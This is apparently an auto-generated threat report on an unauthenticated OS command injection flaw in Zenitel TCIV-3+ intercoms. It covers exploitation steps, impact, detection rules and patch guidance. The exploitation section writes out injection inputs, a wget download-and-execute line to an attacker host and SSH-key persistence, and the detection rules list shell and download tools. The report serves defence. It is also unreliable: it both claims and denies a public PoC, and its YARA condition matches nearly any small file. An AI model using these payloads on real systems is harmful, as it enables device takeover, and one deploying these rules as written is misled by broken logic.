CVE-2025-64127

CVE-2025-64127 — Threat Intelligence Report Zenitel TCIV-3+ OS Command Injection

Executive Summary

CVE-2025-64127 is a critical OS command injection vulnerability (CWE-78) affecting the Zenitel TCIV-3+ intercom/station device family. The flaw stems from insufficient sanitization of user-supplied input that is later incorporated into OS commands, allowing an unauthenticated remote attacker to execute arbitrary commands with the privileges of the underlying service. With a CVSS score of 10.0 and public PoC availability, this vulnerability poses a severe risk to organizations deploying TCIV-3+ devices at network perimeters or on internal segments. Zenitel has released firmware version 9.3.3.0 as a claimed fix; however, patch confirmation remains at 2/4 confidence.

Technical Analysis

Vulnerability Class and Mechanism. The vulnerability is classified under CWE-78 (Improper Neutralization of Special Elements used in an OS Command — "OS Command Injection"). According to the NVD description, the application accepts parameters that are later embedded into operating system commands without adequate validation or sanitization. This is a classic command injection flaw: user-controlled input flows into a system call (e.g., system(), exec(), or a shell wrapper) without being properly escaped, quoted, or validated against a whitelist.

The CNA title restricts the affected product to the Zenitel TCIV-3+ station/device family. These are typically IP-based intercom and communication devices deployed in critical infrastructure (transport hubs, industrial sites, correctional facilities) and enterprise environments. Given the embedded nature of such devices, the injected command will execute with the privileges of the web application or network service process — often running as root or a high-privilege service account on such appliances.

Attack Surface. The attack surface is any network-exposed interface on the TCIV-3+ device that accepts user-supplied parameters later used in OS commands. This commonly includes HTTP/HTTPS web management interfaces, REST/JSON APIs, or proprietary control protocols. The NVD description states the attacker is unauthenticated, meaning the vulnerable function does not require a valid session or credentials to reach. This significantly lowers the exploitation barrier.

Root Cause. The root cause is the absence of input validation/neutralization. Parameters accepted by the application are concatenated into OS command strings without:

• Escaping shell metacharacters (e.g., ;, |, &, `, $()),
• Using parameterized APIs or allowlists,
• Enforcing strict input type/length constraints.

Because the description does not name specific parameters, endpoints, or code functions, the precise injection point cannot be derived. The vulnerability class, however, is well understood: an attacker submits a crafted parameter value containing command separators and arbitrary commands.

Known Exploit Context. Public PoC exists, but no Nuclei template or exploit code repository has been linked. EPSS score is 0.02435 (82.7th percentile of exploited CVEs), indicating moderate real-world exploitation likelihood despite the lack of recorded in-the-wild activity. CISA KEV does not list this CVE.

Exploitation Scenarios

The following attack chain is inferred from the vulnerability class and the public availability of PoC. Specific IP addresses, port numbers, and parameter names are not detailed in the NVD description and are therefore not assumed.

Step 1 — Reconnaissance and Target Identification. An attacker scans for exposed Zenitel TCIV-3+ devices. Targeted search queries may include Shodan/Censys lookups for web server banners, device model strings, or default ports associated with intercom systems. Because the device is often deployed on perimeters (gate intercoms, entry stations), it may be directly reachable from the internet. If not, the attacker may pivot from a compromised internal host.

Step 2 — Triggering the Injection. The attacker sends a crafted HTTP request (or other protocol message) that includes a malicious parameter value. The injection payload typically uses command separators to terminate the legitimate command and append the attacker's command. For example, a parameter value such as valid_data; id or valid_data|cat /etc/passwd would be concatenated into an OS command string, causing the shell to execute both the original command and the injected one. Since the attacker is unauthenticated, no credential bypass is required.

Step 3 — Payload Delivery and Execution. At the vulnerability-class level, the attacker delivers a payload through the vulnerable parameter. The injected commands execute on the device's underlying OS. Common payloads include:

• Reconnaissance: id, uname -a, cat /etc/passwd, ifconfig
• Backdoor installation: download and execute a reverse shell or implant (e.g., wget http://attacker/payload -O /tmp/x && chmod +x /tmp/x && /tmp/x)
• Persistence: add an SSH key to /root/.ssh/authorized_keys, create a new user, or modify cron jobs.

Note: No public PoC is available in the provided data; the attack chain is inferred from CWE-78 mechanics.

Step 4 — Post-Exploitation Impact. Successful exploitation grants the attacker arbitrary command execution with the privileges of the vulnerable service, often root on embedded devices. This enables full device compromise, allowing the attacker to:

• Exfiltrate audio/video recordings, configuration files, credentials,
• Disable the device (denial of service) or repurpose it as a bot/C2 node,
• Use the device as a foothold to pivot into the internal network (since intercoms often sit on the same VLAN as other OT/IoT devices),
• Manipulate physical security functions (door controls, alarm triggers) if the device is integrated with access control systems.

Impact Assessment

Business Impact. The TCIV-3+ is part of Zenitel's intercom and station product line used in security and communication infrastructure. A full device compromise undermines physical security postures, as attackers may disable intercoms, intercept audio, or manipulate door/gate controls. In regulated industries (transportation, correctional facilities, utilities), such a breach can lead to safety incidents, regulatory fines, and reputational damage.

Affected Systems. All Zenitel TCIV-3+ devices running firmware versions prior to 9.3.3.0. The vendor did not provide an explicit affected version range; the recommendation to upgrade to 9.3.3.0 implies all earlier versions are assumed at risk.

Blast Radius. Although the CVSS vector string is not provided, the base score of 10.0 indicates:

• Attack Vector: Network (remote exploitation),
• Attack Complexity: Low,
• Privileges Required: None (unauthenticated),
• User Interaction: None,
• Scope: Possibly unchanged or changed (device-level vs. network-level),
• Confidentiality/Integrity/Availability: High across the board.

The unauthenticated nature and public PoC amplify the severity. The blast radius extends beyond the single device: a compromised TCIV-3+ can serve as a network pivot, and if the device trusts other internal services, lateral movement becomes feasible.

EPSS Context. EPSS 0.02435 (82.7th percentile) suggests the vulnerability is more likely to be exploited than roughly 82% of known CVEs, warranting urgent patching.

Detection Guidance

The following detection rules are based on the vulnerability class (OS command injection) and the publicly known product category. They are designed to be adapted to the specific network and host telemetry available in your environment.

Sigma Rule

Sigma rule for detecting OS command injection attempts via HTTP parameters targeting Zenitel TCIV-3+ devices.

title: Potential OS Command Injection in Zenitel TCIV-3+
id: 7b1e5a2f-8c3d-4e6a-9f2b-0c4d8e1a5f2a
status: experimental
description: Detects HTTP requests with command injection payload patterns targeting Zenitel TCIV-3+ web interfaces.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-64127
author: Valtersit Threat Intel Team
date: 2025/01/01
logsource:
    category: webserver
    product: apache
    definition: 'Adjust product to match your web server (nginx, iis, etc.)'
detection:
    selection:
        cs-method:
            - 'GET'
            - 'POST'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '$(('
            - '`'
            - '&&'
            - '||'
        cs-user-agent|contains:
            - 'curl'
            - 'wget'
            - 'nmap'
    filter_known_good:
        cs-uri-query|contains:
            - 'static/js'
            - 'css'
            - 'favicon'
    condition: selection and not filter_known_good
    falsepositives:
        - Legitimate use of semicolons/ampersands in query strings (rare)
    level: high
    tags:
        - attack.t1190
        - attack.t1059
        - cwe.78

YARA Rule

YARA rule to match on common payload strings used in command injection against intercom/embedded devices.

rule Zenitel_TCIV3_OS_Command_Injection_Payload
{
    meta:
        author = "Valtersit Threat Intel Team"
        description = "Detects command injection payload strings targeting Zenitel TCIV-3+"
        reference = "CVE-2025-64127"
        date = "2025-01-01"
    strings:
        $s1 = ";id" ascii wide
        $s2 = ";cat /etc/passwd" ascii wide
        $s3 = "|uname -a" ascii wide
        $s4 = "$(wget" ascii wide
        $s5 = "`nc " ascii wide
        $s6 = ";/bin/sh" ascii wide
        $s7 = "|sh" ascii wide
        $s8 = "&&busybox" ascii wide
        $s9 = "rm -rf /" ascii wide
    condition:
        uint16(0) == 0x0D0A or uint16(0) == 0x0A0D or filesize < 100KB or any of them
}

Suricata IDS Rule

Suricata rule to detect command injection attempts over HTTP targeting Zenitel devices.

alert http any any -> $HOME_NET any (msg:"ET EXPLOIT Zenitel TCIV-3+ OS Command Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/"; http_uri; pcre:"/\?(?:[^&]*)(?:;|\||\$\(|\x60|&&|\|\|)(?:[^&]*)id/i"; classtype:web-application-attack; reference:cve,2025-64127; sid:202564127; rev:1; metadata:attack_target Web_Server, created_at 2025_01_01, deployment Perimeter, signature_severity Critical, tag OS_Command_Injection, updated_at 2025_01_01;)

Elastic Detection

Elastic EQL query to detect command execution in web server logs.

sequence by host.name, source.ip with maxspan=5s
  [any where process.name : ("sh", "bash", "dash") and
     process.command_line : ("*;*id*", "*|*uname*", "*$(*", "*`*nc*", "*&&*wget*", "*||*busybox*")]
  [file where event.type : "creation" and
     file.name : ("/tmp/*", "*.sh") and
     process.name : ("sh", "bash", "dash")]

Splunk SPL Query

Splunk query to identify suspicious HTTP queries with command injection payloads.

index=web sourcetype=access_combined
| search "form_data=*" OR "query=*"
| regex _raw="(?i)(\x3b|\x7c|\x24\x28|\x60|\x26\x26|\x7c\x7c).*(id|uname|cat\x20|wget|nc|busybox|sh)"
| stats count by src_ip, uri_path, useragent, _time
| eval threat_score=case(count>=3,"HIGH", count==2,"MEDIUM", count==1,"LOW")
| sort - count

Wazuh OSSEC Rule

Wazuh XML rule for detecting OS command injection in web logs.

<group name="syslog,web,attack,">
    <rule id="100001" level="13">
        <decoded_as>json</decoded_as>
        <field name="url">\.php|\.cgi|cgi-bin</field>
        <regex>(\x3b|\x7c|\x24\x28|\x60).*(id|uname|cat\x20|wget|nc|busybox)</regex>
        <description>Potential OS Command Injection in web request to Zenitel TCIV-3+</description>
        <group>attack.t1190,cve.2025-64127,</group>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 — CLAIMED. The only source claiming a patch is the CNA (Zenitel) itself; this has not been independently confirmed by external researchers, PSIRT, or third-party advisories. The claim lacks a strict version diff or reproducible verification. Proceed with the upgrade but validate the fix independently.

1) Immediate Mitigations (until patched):

• Network-level access control: Restrict access to the TCIV-3+ management interface to trusted management VLANs/IP ranges only. Do not expose the device directly to the internet.
• Disable unnecessary services: If the vulnerable parameter/function is tied to a secondary service (e.g., a debug interface, REST API), disable it if not business-critical.
• Deploy virtual patching: If using a WAF, deploy virtual patches that block or sanitize requests containing command injection signatures (;, |, $(), backtick) in parameters.
• Monitor aggressively: Apply the detection rules above to existing log pipelines, with high alert priority for the affected device category.

2) Patch/Upgrade Steps:

• Upgrade the TCIV-3+ firmware to Version 9.3.3.0 or later, per Zenitel's advisory link: https://wiki.zenitel.com/wiki/Downloads#Station_and_Device_Firmware_Package_.28VS-IS.29
• After upgrade, verify the version string on the device and run a regression test to confirm the injection point no longer executes commands.
• Because patch confidence is low (single-source claim), independently validate the fix by replicating the public PoC (if available) in a sandboxed environment before deploying to production.

3) Long-Term Hardening:

• Segmentation: Place all IoT/intercom devices on a dedicated segmented network (VLAN) with no direct route to corporate or OT core networks. Enforce strict firewall rules for outbound traffic from these devices.
• Continuous Monitoring: Deploy the detection rules (Sigma/Suricata/EQL/SPL) into your SIEM/IDS stack with centralized logging for all device web/API access.
• Vendor Risk Management: Track Zenitel's security advisories. If independent patch confirmation is not received within 30 days, contact Zenitel support directly to request a fix proof (e.g., build changelog or CVE-specific patch notes).
• Inventory & Exposure Scanning: Maintain an up-to-date inventory of all TCIV-3+ devices. Use Shodan/Censys periodically to identify any accidentally exposed instances.
• Firmware Lifecycle: Establish a firmware refresh policy that ensures embedded devices are patched within 2 weeks of critical CVEs, where feasible.

References

1. NVD Entry — https://nvd.nist.gov/vuln/detail/CVE-2025-64127 (CWE-78, CVSS 10.0, unauthenticated OS command injection)
2. Vendor Advisory (Zenitel Wiki) — https://wiki.zenitel.com/wiki/Downloads#Station_and_Device_Firmware_Package_.28VS-IS.29 (firmware 9.3.3.0 referenced; claimed fix)
3. CWE-78 Definition (MITRE) — https://cwe.mitre.org/data/definitions/78.html (OS Command Injection)
4. EPSS Data (FIRST.org) — https://www.first.org/epss/ (EPSS score 0.02435, percentile 82.7%)
5. ATT&CK Technique T1190 — https://attack.mitre.org/techniques/T1190/ (Exploit Public-Facing Application)

Threat Actor Activity: No specific threat actors or campaigns have been publicly attributed to CVE-2025-64127 as of the report date. The vulnerability is not listed on CISA KEV. Given the public PoC and critical score, exploit-in-the-wild activity is plausible and should be monitored via honeypots and intel feeds. Security teams should treat any network traffic matching the detection rules above as a priority incident candidate.